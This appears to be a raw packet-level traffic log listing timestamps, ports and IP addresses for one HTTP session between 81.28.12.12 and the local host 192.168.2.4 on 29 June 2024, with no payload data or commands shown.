Jun 29, 2024 08:05:15.902755022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902770996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902825117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902837038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902844906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902856112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902925968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902935982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902945042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902951956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902988911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902988911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.903017998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.903028965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.903068066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.903068066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.970891953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.970904112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.970915079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.970957041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.970966101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.970977068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.970978975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.970978975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.970987082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.971013069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.971143007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.971153021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.971163034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.971173048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.971177101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.971183062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.971189976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.971194029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.971204996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.971205950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.971214056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.971352100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.974096060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.974164009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.974174023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.974188089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.974260092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.974268913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.974270105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.974281073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.974292040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.974335909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.974335909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.974895000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.974956036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.974966049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.974981070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.975004911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.975033045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.975055933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.975069046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.975080013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.975087881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.975111008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.975125074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.975126028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.988357067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988369942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988379955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988406897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.988471985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988486052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988497019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988502026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.988506079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988533020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.988565922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988590956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.988646984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988653898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.988658905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988668919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988677979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988687992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988697052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.988697052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988697052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.988717079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.988833904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.988847017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988857031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988873959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988883972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988895893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.988898993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.988907099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.989012957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.989022017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989032030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989092112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.989272118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989280939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989293098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989351034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.989381075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989391088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989399910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989424944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.989487886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.989502907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989511967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989531994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989542007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989557981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.989639044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.989644051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989655018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989665985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989691973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.989723921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989732981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989742994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.989778996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.989778996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.989804029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989814997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989824057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989906073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989916086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989923954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.989927053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989938974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.989952087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.989990950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.989990950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.990011930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.990067005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.990077019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.990086079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.990093946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.990138054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.990138054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.990178108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.990190983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.990200996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.990211010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.990236044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.990269899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.990277052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.990422964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.991389990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991410017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991420031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991449118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.991519928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991529942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991540909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991540909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.991550922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991554976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991560936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.991652012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991657972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.991662979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991672039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991683006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991707087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.991750002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.991828918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991889954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991906881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991915941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.991915941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.991967916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.991967916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.992022991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992033005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992043972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992053032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992063046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992094040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.992151976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992161036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992175102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.992209911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992209911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.992209911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.992221117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992322922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992331982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992341042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992352009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992363930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992364883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.992404938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.992404938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.992543936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992553949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992562056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992571115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992595911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992604971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992625952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.992641926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.992656946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992666960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.992713928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.992713928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.060348988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.060408115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.060421944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.060451984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.060498953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.060508013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.060518026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.060528040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.060535908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.060619116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.060619116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.060619116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.060681105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.060691118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.060699940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.060709953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.060719013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.060728073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.060736895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.060738087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.060767889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.060900927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.063667059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.063719988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.063730001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.063739061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.063811064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.063821077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.063832045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.063846111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.063846111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.063879967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.063879967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.063990116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.064517021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.064526081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.064537048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.064547062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.064589024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.064651966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.064662933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.064671993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.064671993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.064681053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.064750910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.077949047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.077959061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.077965021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078013897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078025103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078023911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.078023911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.078036070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078047037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078068972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.078154087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.078183889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078192949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078202963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078212976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078246117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.078298092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.078383923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078393936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078402996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078414917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078423977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078433990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078444958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078445911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.078454018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078464985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078474998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.078474998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.078516006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.078516006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.078599930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078860998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078871012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078880072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.078881979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078936100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078942060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.078943014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.078946114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.078990936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079000950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079123020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079133034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079142094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079154015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.079158068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079168081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079181910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.079181910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.079243898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079243898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.079305887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079315901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079384089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.079384089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.079405069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079416990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079427958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079437971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079447985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079483032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.079483032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.079550982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.079555035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079566002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079576015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079585075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079602957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.079629898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079662085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.079710007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079720020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079729080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079739094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079745054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.079749107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.079796076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.079978943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.080940962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.080974102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.080982924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.081002951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.081068039 CEST	80	49731	81.28.12.12	192.168.2.4
